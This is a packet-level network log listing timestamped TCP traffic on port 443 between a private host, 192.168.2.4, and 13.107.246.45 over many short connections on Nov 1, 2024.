Nov 1, 2024 03:46:14.294445992 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.294455051 CET	49850	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.294459105 CET	443	49850	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.299537897 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.299557924 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.299618006 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.300061941 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.300071001 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.683537960 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.684092999 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.684119940 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.684735060 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.684740067 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.755475998 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.756016970 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.756032944 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.756683111 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.756689072 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.789048910 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.789545059 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.789562941 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.790054083 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.790057898 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.817851067 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.817898035 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.818025112 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.818198919 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.818214893 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.818224907 CET	49852	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.818229914 CET	443	49852	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.821340084 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.821365118 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.821441889 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.821593046 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.821608067 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.885205030 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.885384083 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.885518074 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.885518074 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.885535955 CET	49853	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.885545015 CET	443	49853	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.887830973 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.887861967 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.888135910 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.888254881 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.888267994 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.924973011 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.925153017 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.926042080 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.926184893 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.926201105 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.926214933 CET	49854	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.926219940 CET	443	49854	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.928308010 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.928320885 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:14.928397894 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.928519011 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:14.928533077 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.035258055 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.035836935 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.035851955 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.036348104 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.036351919 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.170078993 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.170491934 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.170542002 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.170558929 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.170592070 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.170650005 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.170660973 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.170670986 CET	49855	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.170677900 CET	443	49855	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.173893929 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.173929930 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.174041033 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.174232006 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.174245119 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.549102068 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.550569057 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.550585985 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.551068068 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.551074982 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.633064032 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.634533882 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.634553909 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.635014057 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.635019064 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.644540071 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.646357059 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.646378994 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.650480032 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.650487900 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.679266930 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.679327011 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.679641962 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.684118032 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.718604088 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.718604088 CET	49856	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.718628883 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.718660116 CET	443	49856	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.720169067 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.720195055 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.720614910 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.720619917 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.722362995 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.722397089 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.722821951 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.722971916 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.722992897 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.763868093 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.763936996 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.764012098 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.764030933 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.764067888 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.764128923 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.772979975 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.773039103 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.773205996 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.780286074 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.780304909 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.780316114 CET	49857	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.780320883 CET	443	49857	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.791096926 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.791117907 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.791126966 CET	49858	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.791132927 CET	443	49858	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.795809984 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.795835018 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.795947075 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.796770096 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.796781063 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.797554970 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.797601938 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.797651052 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.797864914 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.797879934 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.843430996 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.843517065 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.843565941 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.855098009 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.855123043 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.855139971 CET	49851	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.855148077 CET	443	49851	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.879235029 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.879262924 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.879349947 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.879657984 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.879671097 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.901231050 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.936163902 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.936198950 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:15.940268993 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:15.940277100 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.064641953 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.064708948 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.064774036 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.127222061 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.127240896 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.127252102 CET	49859	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.127255917 CET	443	49859	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.135541916 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.135606050 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.135674953 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.144087076 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.144124985 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.491214037 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.491863012 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.491883039 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.492429018 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.492434978 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.524171114 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.524692059 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.524702072 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.525178909 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.525182962 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.532104015 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.532464027 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.532474041 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.532854080 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.532860041 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.618419886 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.618776083 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.618787050 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.619208097 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.619214058 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.627669096 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.627720118 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.627779007 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.627954006 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.627954006 CET	49860	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.627970934 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.627979994 CET	443	49860	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.630911112 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.630940914 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.631051064 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.631249905 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.631262064 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.651602030 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.651643038 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.651674032 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.651719093 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.651747942 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.651940107 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.651954889 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.651982069 CET	49861	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.651987076 CET	443	49861	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.653986931 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.654033899 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.654118061 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.654256105 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.654284954 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.659567118 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.659712076 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.659796953 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.659826040 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.659826040 CET	49862	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.659833908 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.659842014 CET	443	49862	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.661648989 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.661659956 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.661724091 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.661849976 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.661856890 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.749814987 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.749886990 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.749973059 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.750221014 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.750228882 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.750241041 CET	49863	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.750243902 CET	443	49863	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.753437996 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.753492117 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.753576040 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.753761053 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.753782988 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.885854006 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.886409998 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.886437893 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:16.886900902 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:16.886912107 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.018137932 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.018205881 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.018273115 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.018512964 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.018543959 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.018568993 CET	49864	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.018584967 CET	443	49864	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.022336006 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.022362947 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.022428036 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.022707939 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.022717953 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.359458923 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.360114098 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.360136032 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.360632896 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.360639095 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.382318020 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.382921934 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.382935047 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.383502007 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.383507013 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.410620928 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.411592007 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.411600113 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.427803040 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.427808046 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.486576080 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.486608028 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.486656904 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.486661911 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.486696959 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.486963034 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.486984015 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.486995935 CET	49865	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.487000942 CET	443	49865	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.489949942 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.490000963 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.490092993 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.490262985 CET	49870	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.490281105 CET	443	49870	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.497786999 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.498258114 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.498265982 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.498723984 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.498728991 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.512881994 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.512947083 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.513000011 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.513243914 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.513262987 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.513274908 CET	49866	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.513282061 CET	443	49866	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.516223907 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.516257048 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.516319990 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.516442060 CET	49871	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.516452074 CET	443	49871	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.553946018 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.554017067 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.554073095 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.554090977 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.554135084 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.554192066 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.554367065 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.554383039 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.554394960 CET	49867	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.554399967 CET	443	49867	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.557118893 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.557143927 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.557219028 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.557390928 CET	49872	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.557403088 CET	443	49872	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.630141973 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.630491018 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.630563974 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.630585909 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.630594969 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.630604982 CET	49868	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.630609989 CET	443	49868	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.633452892 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.633485079 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.633565903 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.633714914 CET	49873	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.633732080 CET	443	49873	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.768588066 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.770571947 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.770595074 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.771090984 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.771095037 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.911912918 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.911979914 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.914222002 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.914366007 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.914381981 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.914392948 CET	49869	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.914397955 CET	443	49869	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.917578936 CET	49874	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:17.917615891 CET	443	49874	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:17.917710066 CET	49874	443	192.168.2.4	13.107.246.45
